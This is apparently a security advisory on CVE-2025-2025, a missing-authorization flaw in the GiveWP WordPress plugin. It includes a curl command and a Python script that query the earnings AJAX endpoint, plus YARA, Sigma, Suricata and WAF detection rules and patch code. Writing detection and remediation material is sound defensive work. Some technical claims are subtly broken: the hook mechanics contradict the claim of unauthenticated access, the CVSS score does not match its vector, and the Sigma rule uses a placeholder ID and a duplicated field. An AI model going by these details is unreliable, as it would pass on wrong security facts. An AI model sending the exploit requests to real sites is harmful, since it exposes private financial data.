CVE-2025-2025

Executive Summary

CVE-2025-2025 is a Missing Authorization vulnerability in the GiveWP – Donation Plugin and Fundraising Platform for WordPress. The flaw resides in the give_reports_earnings() function, which fails to perform a capability check before returning sensitive earnings report data. This allows any unauthenticated attacker to access financial information, including donation totals, transaction counts, and other aggregated metrics that should be restricted to administrative users.

The vulnerability affects all versions of the plugin up to and including 3.22.0. As of this report, no official patch has been released, and no public exploit code or proof-of-concept (PoC) is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant due to the sensitive nature of the exposed data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The GiveWP plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from the vendor's website. Organizations using this plugin should treat it as a high-priority supply chain risk, as the exposed data could be used for competitive intelligence, social engineering, or further targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): Low (L) – Only aggregated earnings data is exposed, not individual donor PII.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service impact.

Overall CVSS Score: 6.5 (Medium) – The vulnerability is considered medium severity due to the low confidentiality impact and the lack of integrity or availability impact. However, the ease of exploitation (unauthenticated, network-based) elevates the practical risk.

Deep Dive & Mechanics

The GiveWP plugin registers AJAX actions for various administrative functions. The give_reports_earnings() function is intended to be called only by authenticated users with the manage_give_settings capability. However, the function is hooked to the wp_ajax_give_reports_earnings action without a corresponding wp_ajax_nopriv_* check, and the function itself does not verify the user's capabilities.

The vulnerability is triggered when an unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to give_reports_earnings. The function then queries the database for aggregated earnings data and returns it as a JSON response.

Key Code Path (Vulnerable):

add_action('wp_ajax_give_reports_earnings', 'give_reports_earnings');
function give_reports_earnings() {
    // No capability check here
    $earnings = give_get_total_earnings();
    $income = give_get_income();
    // ... return data
    wp_send_json_success( $data );
}

Missing Check:

if ( ! current_user_can( 'manage_give_settings' ) ) {
    wp_die( 'Unauthorized' );
}

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.22.0):

add_action('wp_ajax_give_reports_earnings', 'give_reports_earnings');
function give_reports_earnings() {
    $earnings = give_get_total_earnings();
    $income = give_get_income();
    $data = array(
        'earnings' => $earnings,
        'income'   => $income,
    );
    wp_send_json_success( $data );
}

Patched Code (Hypothetical):

add_action('wp_ajax_give_reports_earnings', 'give_reports_earnings');
function give_reports_earnings() {
    // Add capability check
    if ( ! current_user_can( 'manage_give_settings' ) ) {
        wp_send_json_error( 'Unauthorized', 403 );
        wp_die();
    }
    $earnings = give_get_total_earnings();
    $income = give_get_income();
    $data = array(
        'earnings' => $earnings,
        'income'   => $income,
    );
    wp_send_json_success( $data );
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with GiveWP plugin version <= 3.22.0 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the target WordPress site.
2. Send a POST request to the AJAX endpoint:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
        -d "action=give_reports_earnings"
   

3. The server will respond with a JSON object containing earnings data:

   {"success":true,"data":{"earnings":"12345.67","income":"67890.12"}}
   

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {"action": "give_reports_earnings"}
response = requests.post(target, data=data)
print(response.json())

Blue Team (Detection & Prevention)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=give_reports_earnings from unauthenticated sources.
• Look for anomalous spikes in AJAX requests to this specific action.

Prevention:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=give_reports_earnings from unauthenticated users.
• Disable the AJAX endpoint for this function until a patch is available.
• Implement a custom plugin that adds the missing capability check.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" \
    "chain,id:1001,deny,msg:'GiveWP Earnings Report Exploit Attempt'"
SecRule ARGS:action "give_reports_earnings" \
    "chain"
SecRule &ARGS:action "@gt 0"

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with body action=give_reports_earnings
  • Response containing JSON with keys earnings and income
• File IOCs:
  • No file modifications are required for exploitation.
• Log IOCs:
  • Web server access logs showing POST /wp-admin/admin-ajax.php with action=give_reports_earnings from IPs not associated with admin users.

Detection Engineering

YARA Rule

rule GiveWP_Earnings_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-2025 in GiveWP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2025"
    strings:
        $ajax_action = "action=give_reports_earnings"
        $json_key_earnings = "\"earnings\""
        $json_key_income = "\"income\""
    condition:
        $ajax_action or (all of ($json_key_*))
}

Sigma Rule

title: GiveWP Earnings Report Unauthenticated Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to GiveWP earnings report AJAX endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=give_reports_earnings'
    condition: selection
falsepositives:
    - Legitimate admin users (should be authenticated)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-2025 GiveWP Earnings Report Unauthenticated Access";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=give_reports_earnings";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the AJAX endpoint by adding the following code to your theme's functions.php or a custom plugin:

   add_action('init', function() {
       if (defined('DOING_AJAX') && DOING_AJAX) {
           remove_action('wp_ajax_give_reports_earnings', 'give_reports_earnings');
       }
   });
   

2. Apply a WAF rule to block unauthenticated requests to the vulnerable endpoint.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Wait for the vendor to release a patched version (expected > 3.22.0).
• Once available, update the plugin immediately.
• Consider using a security plugin like Wordfence to add virtual patching.

Workaround:

• Restrict access to admin-ajax.php using .htaccess or server-level rules for unauthenticated users, but this may break legitimate AJAX functionality.

Valters IT
Securing Digital Frontiers